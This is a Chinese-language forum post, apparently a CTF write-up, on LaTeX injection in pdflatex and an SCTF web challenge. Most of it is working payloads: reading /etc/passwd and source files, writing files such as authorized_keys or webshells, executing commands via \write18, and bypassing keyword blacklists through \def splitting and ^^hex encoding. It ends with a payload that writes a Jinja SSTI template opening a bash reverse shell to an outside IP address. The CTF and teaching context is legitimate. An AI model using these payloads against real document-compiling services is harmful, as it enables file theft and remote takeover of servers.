由SCTF引入的LaTex Injection
1315609050541697 发表于 湖北 WEB安全 368浏览 · 2024-11-06 02:36

LaTeX前言

LaTeX的文件后缀是.tex,通常需要编译运行,并且可以像编程语言一样执行命令,读写文件等,这也是安全隐患LaTex Injection的原因,官方提供了配置项(shell_escape、shell_escape_commands)去配置能否执行命令以及允许执行的命令列表

其中shell_escape有三种配置值,分别为:

f:不允许执行任何命令

t:允许执行任何命令

p:支持执行白名单内的命令(默认)

LaTeX常见的应用场景主要有扫描数学公式、LateX转pdf、LateX转图片等,LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档,如果传入的LaTeX可控且没有过滤的话就会导致LaTex Injection的产生。

tex的格式大致如下:

\documentclass{article}
\begin{document}
% Your content here
\end{document}

PdfLaTeX的三种操作模式

TexMaker是一个在线转换LaTex代码为pdf的网站, 在客户端输入LaTex代码, 服务器端接收LaTex代码后使用pdflatex将LaTex编译为pdf

  • no-shell-escape
    进行\write18{command}执行, 即使函数已经在texmf.cnf文件中启用
  • shell-restricted
    与shell-escape类似, 但是只能执行安全的预定义命令集
  • shell-escape
    允许\wite18{command}执行
    ## LaTeX命令执行

读文件

Pdflatex的三种模式都允许从文件系统中读取任意文件, 读取文件最简单的方法是使用\input

\input\{/etc/passwd}

上述命令将读取/etc/passwd文件并写入到生成的PDF文件中

如果读取的文件以.tex结尾, 可以用\include读取

\include{password}

上述命令将从当前工作目录包含password.tex并将文件内容写入到生成的PDF文件中

如果上述的两个命令都无法使用, 可以用下面的解决方案:
方案一: 读取指定文件的首行

\newread\file  
\openin\file=/etc/passwd  
\read\file to\line  
\text{\line}  
\closein\file

上述代码段创建一个\file处理对象并打开/etc/passwd文件, 读取一行到变量\line中, 将变量\line作为文本(\text)输出, 关闭文件处理对象

如果想读取全部内容, 可使用下面的代码段

\newread\file  
\openin\file=/etc/passwd  
\loop\unless\ifeof\file  
    \read\file to\fileline  
    \text{\fileline}  
\repeat  
\closein\file

上述代码创建一个\file文件对象, 打开/etc/passwd并读取, 然后用\loop进行循环, 循环内读取一行到\fileline变量中, 将变量作为文本输出, 等遇到EOF或文件读取完毕关闭文件对象.

读文件功能可以用来读取SSH key、配置文件(找新目标和硬编码等信息)等等

读取文本文件,解释内容,只会粘贴原始文件内容:

\usepackage{verbatim}
\verbatiminput{/etc/passwd}

写文件

写文件功能运行在shell-restrictedshell-escape两种模式下, 命令如下

\newwrite\outfile  
\openout\outfile=cmd.tex  
\write\outfile{hello-world}  
\closeout\outfile

上述命令将在cmd.tex文件中写入hello-world字符串.

写文件功能可用来清空文件内容、覆盖其他文件(~/.ssh/authorized_keys、各种配置、一句话木马等)

执行命令

执行命令依赖于write18命令, 因此只能在-shell-escape模式下运行.
命令为

\immediate\write18{env}

上述命令将运行env获取环境变量

write18命令执行结果将被重定向到标准输出, 输出内容将在epstopdf-sys.cfg这行的下面、pdftex.map这行的上面, 所以可以根据这两个关键字判断是否执行成功.

如果服务器端不返回编译日志的话, 我们无法直接通过上述命令来利用, 这是需要通过重定向将数据写入文件中, 然后将文件读取出来.

\immediate\write18{env > env.tex}  
\input{env.tex}

如果读取的文件中含有LaTex的保留字符, 如$等, 可以使用base64编码之后在写入文件

\immediate\write18{env|base64>text.tex}  
\input(text.tex)

绕过黑名单

如果inputinclude命令都不可用, 该如何读取文件?
可以创建文件对象读取文件:

\newread\file  
\openin\file=env.tex  
\loop\unless\ifeof\file  
    \read\file to\fileline  
    \text{\fileline}  
\repeat  
\closein\file

如果(inpute|include|write18|immediate)都不可用, 该如何执行命令和读取文件呢?

\def \imm {\string\imme}  
\def \diate {diate}  
\def \eighteen {string18}  
\def \wwrite {\string\write\eighteen}  
\def \args {\string{ls |base64> test.tex\string}}  
\def \inp {\string\in}  
\def \iput {put}  
\def \cmd {\string{text.tex\string}}  

% first run  
\newwrite\outfile  
\openout\outfile=cmd.tex  
\write\outfile{\imm\diate\wwrite\args}  
\write\outfile{\inp\iput\cmd}  
\closeout\outfile  

% second run  
\newread\file  
openin\file=cmd.tex  
\loop\unless\ifeof\file  
    \read\file to\fileline  
    \fileline  
\repeat  
\closein\file

上述代码, 第一次运行将创建cmd.tex文件并把上面那串代码的写入文件中, 第二次运行将读取cmd.tex然后执行其中的命令.
\fileline将执行cmd.tex文件中的命令

如果是PdfTeX,还有另一种执行命令的姿势;

> \input|"ls"
> 
> \input|ls
> 
> \input|ls|base64
> 
> \makeatletter
> 
> \@@input|"ls"
> 
> \makeatother

SCTF LaTeX

测了一下,tex的内容ban了下面这些东西

\write18
\immediate
\input
app
/
\include
..

然后编译允许的编译文件名长度最长为6

读文件

\newread\file
\openin\file=\\etc\\passwd
\read\file to\line
\text{\line}
\closein\file

写文件,但是不确定在哪里可以触发

\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile

bypass的方式,类似php免杀了:

\def \imm {\string\imme}
\def \diate {diate}
\def \wwrite {wwrite}
\def \args {args}

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile

\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file

用这个可以绕所有的黑名单:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX%20Injection/README.md

看了下应该是^^ascii的意思
读取main.py payload:

\documentclass{article}
\begin{document}

\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
    \imm^^65diate\read\infile to\line
    \imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}

编译后访问 /log 带出回显

import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename

app = Flask(__name__)

if not app.debug:
    handler = logging.FileHandler('app.log')
    handler.setLevel(logging.INFO)
    app.logger.addHandler(handler)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def compile_tex(file_path):
    output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
    try:
        subprocess.check_call(['pdflatex', file_path])
        return output_filename
    except subprocess.CalledProcessError as e:
        return str(e)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)

    if file and allowed_file(file.filename):
        content = file.read()
        try:
            content_str = content.decode('utf-8')
        except UnicodeDecodeError:
            return 'File content is not decodable'
        for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
            if bad_char in content_str:
                return 'File content is not safe'
        file.seek(0)
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        return 'File uploaded successfully, And you can compile the tex file'
    else:
        return 'Invalid file type or name'


@app.route('/compile', methods=['GET'])
def compile():
    filename = request.args.get('filename')

    if not filename:
        return 'No filename provided', 400

    if len(filename) >= 7:
        return 'Invalid file name length', 400

    if not filename.endswith('.tex'):
        return 'Invalid file type', 400

    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    print(file_path)
    if not os.path.isfile(file_path):
        return 'File not found', 404

    output_pdf = compile_tex(file_path)
    if output_pdf.endswith('.pdf'):
        return "Compilation succeeded"
    else:
        return 'Compilation failed', 500

@app.route('/log')
def log():
    try:
        with open('app.log', 'r') as log_file:
            log_contents = log_file.read()
            return render_template('log.html', log_contents=log_contents)
    except FileNotFoundError:
        return 'Log file not found', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, debug=False)

发现可以对 log_contents 进行ssti
重开一个靶机弹shell即可

\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f115.236.153.177^^2f30908 0>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}
0 条评论
某人
表情
可输入 255

没有评论